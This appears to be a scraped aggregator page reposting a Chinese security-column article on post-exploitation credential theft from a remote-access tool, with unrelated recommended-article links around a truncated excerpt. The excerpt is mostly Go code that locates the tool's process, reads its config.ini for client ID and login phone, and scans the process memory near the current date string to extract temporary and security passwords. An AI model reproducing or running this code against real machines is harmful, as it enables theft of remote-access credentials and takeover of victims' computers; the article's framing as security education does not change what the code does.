专栏名称: 黑白之道
黑白之道,普及网络安全知识!
目录
相关文章推荐
新华每日电讯  ·  别把韦东奕的学术价值,粗暴折算为“流量金币” ... ·  5 小时前  
新华每日电讯  ·  别把韦东奕的学术价值,粗暴折算为“流量金币” ... ·  5 小时前  
浙江新闻频道  ·  “最后一顿了!”女骑手收到特殊订单,结果太意外 ·  21 小时前  
浙江新闻频道  ·  “最后一顿了!”女骑手收到特殊订单,结果太意外 ·  21 小时前  
看雪学苑  ·  Redis漏洞分析,ACL篇 ·  3 天前  
51好读  ›  专栏  ›  黑白之道

应用内存中的后渗透利用-远程工具密码读取

黑白之道  · 公众号  · 互联网安全  · 2024-10-18 09:58

正文

请到「今天看啥」查看全文


execPath, err := getExecutablePath(int(*pid))if err != nil {    fmt.Printf("无法获取PID %d的可执行文件路径: %v\n", *pid, err)    return}

获取配置文件信息

// 获取目录路径dir := filepath.Dir(execPath)
configPath := filepath.Join(dir, "config.ini")
// 读取并输出config.ini中的字段clientId, version, loginPhone, authMode, err := readConfig(configPath)if err != nil { fmt.Println("无法读取config.ini文件:", err) return}
// 输出结果fmt.Println("\nID:", clientId)fmt.Println("Version:", version)fmt.Println("LoginPhone:", loginPhone)

获取密码,我这里使用的是先获取当天时间,然后在内存中搜索这个字符串,提取前1kb的内存,遍历这1kb里的所有字符串。也可以通过正则的方式去匹配。

if mbi.State == MEM_C && mbi.Protect == PAGE_R && mbi.Type == MEM_P {    // 创建缓冲区用于读取内存    buffer := make([]byte, mbi.RegionSize)    var bytesRead uintptr    readP.Call(handle, mbi.BaseA, uintptr(unsafe.Pointer(&buffer[0])), mbi.RegionSize, uintptr(unsafe.Pointer(&bytesRead)))
// 在内存块中查找目标字符串 index := bytes.Index(buffer, searchBytes) if index != -1 { // 计算前 1024 字节的起始地址 start := index - 1024 if start < 0 { start = 0 } // 提取前1024字节内容 data := buffer[start : index+len(searchBytes)] // 从数据中提取所有字符串 foundStrings := extractStrings(data)

而根据配置文件中authMode的值进行一个判断,当为0时,代表仅使用了临时密码。为1时,仅使用了安全密码,为2时,同时使用。

if authMode == "0" {    fmt.Println("\n目标仅使用临时密码登陆")    fmt.Println("临时密码:", data[0])} else if authMode == "1" {    fmt.Println("\n目标仅使用安全密码登陆"






请到「今天看啥」查看全文